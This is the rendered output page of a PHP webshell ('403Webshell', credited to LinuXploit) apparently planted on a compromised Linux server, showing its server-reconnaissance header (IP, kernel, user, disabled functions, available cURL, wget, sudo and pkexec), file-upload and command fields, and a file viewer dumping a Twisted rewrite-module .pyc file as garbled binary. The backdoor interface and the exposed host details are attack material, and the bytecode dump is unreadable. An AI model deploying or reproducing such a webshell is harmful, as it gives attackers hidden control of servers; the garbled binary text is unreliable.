403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/web/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/twisted/web/__pycache__/rewrite.cpython-310.pyc
o

�bK�@s2ddlmZGdd�dej�Zdd�Zdd�ZdS)	�)�resourcec@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�RewriterResourcecGs tj�|�||_t|�|_dS�N)r�Resource�__init__�list�rewriteRules)�self�origr�r�5/usr/lib/python3/dist-packages/twisted/web/rewrite.pyr	szRewriterResource.__init__cCs|jD]}||�qdSr)r)r	�request�rewriteRulerrr�_rewrites

�zRewriterResource._rewritecCsH|j�d|�|j��|�|�|j�d�}|j�|�|j�||�S)Nr)�postpath�insert�prepath�popr�appendr�getChildWithDefault)r	�pathr
rrr�getChilds

zRewriterResource.getChildcCs|�|�|j�|�Sr)rr�render)r	r
rrrrs
zRewriterResource.renderN)�__name__�
__module__�__qualname__rrrrrrrrrs
rcCs`|jr,|jddd�dkr.d|jddd�g|jdd�<dd�|j|j�|_dSdSdS)Nr��~�users�/)r�joinrr)r
rrr�tildeToUserss �r!cs&��d����d����fdd�}|S)a�
    I am not a very good aliaser. But I'm the best I can be. If I'm
    aliasing to a Resource that generates links, and it uses any parts
    of request.prepath to do so, the links will not be relative to the
    aliased path, but rather to the aliased-to path. That I can't
    alias static.File directory listings that nicely. However, I can
    still be useful, as many resources will play nice.
    rcsR|jdt����kr'|jt��d�}�||_dd�|j|j�|_dSdS)Nr)r�lenr rr)r
�after��	aliasPath�
sourcePathrr�rewriter1s

�zalias.<locals>.rewriter)�split)r%r&r'rr$r�alias%s
	
r)N)�twisted.webrrrr!r)rrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit